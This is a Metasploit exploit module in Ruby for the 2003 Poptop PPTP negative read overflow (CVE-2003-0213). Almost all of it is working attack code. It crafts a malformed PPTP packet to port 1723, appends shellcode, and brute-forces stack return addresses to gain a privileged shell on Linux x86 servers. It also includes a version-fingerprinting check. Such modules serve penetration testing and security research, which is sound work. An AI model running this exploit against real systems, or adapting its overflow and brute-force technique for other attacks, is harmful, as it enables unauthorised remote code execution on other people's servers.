##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Brute

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Poptop Negative Read Overflow',
        'Description' => %q{
          This is an exploit for the Poptop negative read overflow.  This will
          work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
          currently do not have a good way to detect Poptop versions.

          The server will by default only allow 4 concurrent manager processes
          (what we run our code in), so you could have a max of 4 shells at once.

          Using the current method of exploitation, our socket will be closed
          before we have the ability to run code, preventing the use of Findsock.
        },
        'Author' => 'spoonm',
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2003-0213'],
          ['OSVDB', '3293'],
          ['URL', 'https://web.archive.org/web/20210120064041/http://securityfocus.com/archive/1/317995'],
          ['URL', 'https://web.archive.org/web/20061215104830/http://www.freewebs.com/blightninjas/'],
        ],
        'Privileged' => true,
        'Payload' => {
          # Payload space is dynamically determined
          'MinNops' => 16,
          'StackAdjustment' => -1088,
          'Compat' => {
            'ConnectionType' => '-find'
          }
        },
        'SaveRegisters' => [ 'esp' ],
        'Platform' => 'linux',
        'Arch' => ARCH_X86,
        'Targets' => [
          [
            'Linux Bruteforce',
            {
              'Bruteforce' => {
                'Start' => { 'Ret' => 0xbffffa00 },
                'Stop' => { 'Ret' => 0xbffff000 },
                'Step' => 0
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2003-04-09',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(1723)
      ]
    )

    register_advanced_options(
      [
        OptInt.new('PreReturnLength', [ true, 'Space before we hit the return address.  Affects PayloadSpace.', 220 ]),
        OptInt.new('RetLength', [ true, 'Length of returns after payload.', 32 ]),
        OptInt.new('ExtraSpace', [
          true,
          'The exploit builds two protocol frames, the header frame and the control frame. ' \
          'ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). ' \
          "If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " \
          "(these should eventually be filled in to look like a real client, ie windows).  I've had successful exploitation with this set to 154, but nothing over 128 is suggested.",
          0
        ]),
        OptString.new('Hostname', [ false, 'PPTP Packet hostname', '' ]),
        OptString.new('Vendor', [ true, 'PPTP Packet vendor', 'Microsoft Windows NT' ]),
      ]
    )
  end

  # Dynamic payload space calculation
  def payload_space(_explicit_target = nil)
    datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
  end

  def build_packet(length)
    [length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
      [1, 0].pack('cc') +
      [0].pack('n') +
      [1, 1, 0, 2600].pack('NNnn') +
      datastore['Hostname'].ljust(64, "\x00") +
      datastore['Vendor'].ljust(64, "\x00")
  end

  def check
    connect
    sock.put(build_packet(156))
    res = sock.get_once

    if res && res =~ /MoretonBay/
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def brute_exploit(addrs)
    connect

    print_status("Trying #{'%.8x' % addrs['Ret']}...")

    # Construct the evil length packet
    packet =
      build_packet(1) +
      payload.encoded +
      ([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))

    sock.put(packet)

    handler
    disconnect
  end
end